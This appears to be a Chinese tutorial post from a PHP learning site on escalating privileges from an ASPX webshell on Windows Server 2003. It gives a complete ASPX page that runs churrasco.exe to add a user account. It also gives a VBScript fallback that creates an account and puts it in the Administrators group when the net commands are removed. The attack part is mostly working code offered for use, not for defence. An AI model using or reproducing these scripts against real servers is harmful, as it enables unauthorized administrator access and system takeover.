来源:自学PHP网 时间:2015-04-15 14:59 作者: 阅读:次
[导读] 使用 Aspx下03系统0day的提权方法的提权成功率非常高 可是需要满足一下条件 1 webshell支持aspx 2 能执行cmd命令 3 系统盘有可写可读目录 需要使用到的工具有 1 churrasco exe 或...
|
使用 Aspx下03系统0day的提权方法的提权成功率非常高.可是需要满足一下条件
<%@ Page Language="C#" Debug="true" trace="false" validateRequest="false"%>
<%@ import Namespace="System.IO" %>
<%@ import Namespace="System.Diagnostics" %>
<%@ import Namespace="System.Data" %>
<%@ import Namespace="System.Data.OleDb" %>
<%@ import Namespace="Microsoft.Win32" %>
<%@ import Namespace="System.Net.Sockets" %>
<%@ Assembly Name="System.DirectoryServices, Version=2.0.0.0, Culture=neutral, PublicKeyToken=B03F5F7F11D50A3A" %>
<%@ import Namespace="System.DirectoryServices" %>
<%
System.Diagnostics.Process myP = new System.Diagnostics.Process();
myP.StartInfo.
RedirectStandardOutput = true;
myP.StartInfo.FileName=Server.MapPath("churrasco.exe");
myP.StartInfo.UseShellExecute = false;
myP.StartInfo.Arguments= " \"net user 用户 密码 /add\" ";
myP.Start();
string output = myP.StandardOutput.ReadToEnd();
Response.Write(output);
%>
那么我们直接访问http://www.exehack.net/0day.aspx 即可添加了帐号密码。 然后没有添加即不可用。
如果前面的方法提权不成功,那么有可能是管理员将net net1删除或者没有权限 那么即可用到以下方法:
set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os)
Set oe=GetObject(os&"/Administrators,group")
Set od=ob.Create("user","用户名")
od.SetPassword "密码"
od.SetInfo
Set of=GetObject(os&"/用户",user)
oe.add os&"/用户"
这里还是需要修改一些自己设置的用户名和密码。 这里需要注意的是,这种方法细节非常重要 如果大家测试没成功可以根据以上方法多尝试几次。
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com